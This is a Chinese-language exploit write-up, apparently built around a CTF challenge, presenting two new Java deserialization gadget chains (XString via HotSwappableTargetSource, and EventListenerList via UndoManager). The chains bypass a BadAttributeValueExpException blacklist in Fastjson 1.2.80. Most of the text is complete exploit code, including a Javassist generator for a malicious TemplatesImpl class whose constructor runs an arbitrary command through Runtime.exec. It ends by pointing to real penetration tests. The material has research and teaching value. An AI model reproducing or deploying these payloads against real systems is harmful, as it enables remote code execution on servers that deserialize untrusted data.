高版本Fastjson反序列化Xtring新链和EventListenerList绕过
字数 1107 2025-08-22 18:37:14
Fastjson高版本反序列化利用链分析与绕过技术
前言
Fastjson反序列化原生利用通常需要找到一个能够触发readObject的类,调用toString方法,进而调用toJSONString方法,最终通过getter方法实现反序列化利用。经典利用链如下:
BadAttributeValueExpException#readObject -> JSONArray#toString -> JSONArray#toJSONString -> getter
但在实际环境中,当BadAttributeValueExpException被过滤且Fastjson版本较高时,需要寻找新的利用链。
题目分析
题目限制条件
- 禁用了
BadAttributeValueExpException类 - 反序列化的类必须是
User的子类 - 使用Fastjson 1.2.80高版本
关键源码
public class User implements Serializable {
public String name;
public Map info;
// getter和setter方法
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) {
boolean check = false;
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class<?> targetc = super.resolveClass(desc);
if(!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if(BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
}.readObject();
}
利用链分析
1. XString利用链
链式调用
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
关键点
HotSwappableTargetSource是Spring AOP中的类,其equals方法会调用成员属性target的equals方法XString#equals方法中会调用传入对象的toString方法- 通过构造特殊的HashMap和XString对象,可以触发JSON的
toString方法
利用代码
public static HashMap getXString(Object obj) throws Exception {
XString xstring = new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("yy", xstring);
hashMap1.put("zZ", obj);
hashMap2.put("zZ", xstring);
hashMap2.put("yy", obj);
HashMap hashMap = new HashMap();
hashMap.put(hashMap1, 1);
hashMap.put(hashMap2, 2);
return hashMap;
}
public static Object getPayload() throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
List<Object> arrays = new ArrayList<>();
arrays.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
arrays.add(getXString(jsonArray));
Map<String, Object> map = new HashMap<>();
map.put("yy", arrays);
User user = new User();
user.setInfo(map);
return user;
}
2. EventListenerList利用链
链式调用
EventListenerList --> UndoManager#toString() --> Vector#toString() --> JSONArray#toString -> JSONArray#toJSONString -> getter#toString
关键点
EventListenerList的toString方法会遍历其listenerList数组- 通过
UndoManager的toString方法触发Vector的toString Vector的toString会调用其元素的toString方法
利用代码
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
HashMap hashMap = new HashMap();
hashMap.put(templates, eventListenerList);
User user = new User();
user.setInfo(hashMap);
byte[] bytes = serialize(user);
deserialize(Base64.getEncoder().encodeToString(bytes));
}
技术细节
恶意类生成
public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
TemplatesImpl利用
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
反射工具方法
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
防御与绕过技巧
- 绕过BadAttributeValueExpException过滤:使用
HotSwappableTargetSource或EventListenerList等替代类 - User类限制:将恶意对象放入User类的Map属性中
- 高版本Fastjson:使用引用绕过技术,如将恶意对象放入JSONArray中
总结
本文分析了两种绕过Fastjson高版本限制的反序列化利用链:
- XString链:利用HashMap和XString的equals方法触发toString
- EventListenerList链:通过Swing组件的事件监听机制触发toString
这两种方法都成功绕过了对BadAttributeValueExpException的限制,并且符合必须是User子类的要求。在实际渗透测试中,需要根据目标环境的具体依赖和限制条件选择合适的利用链。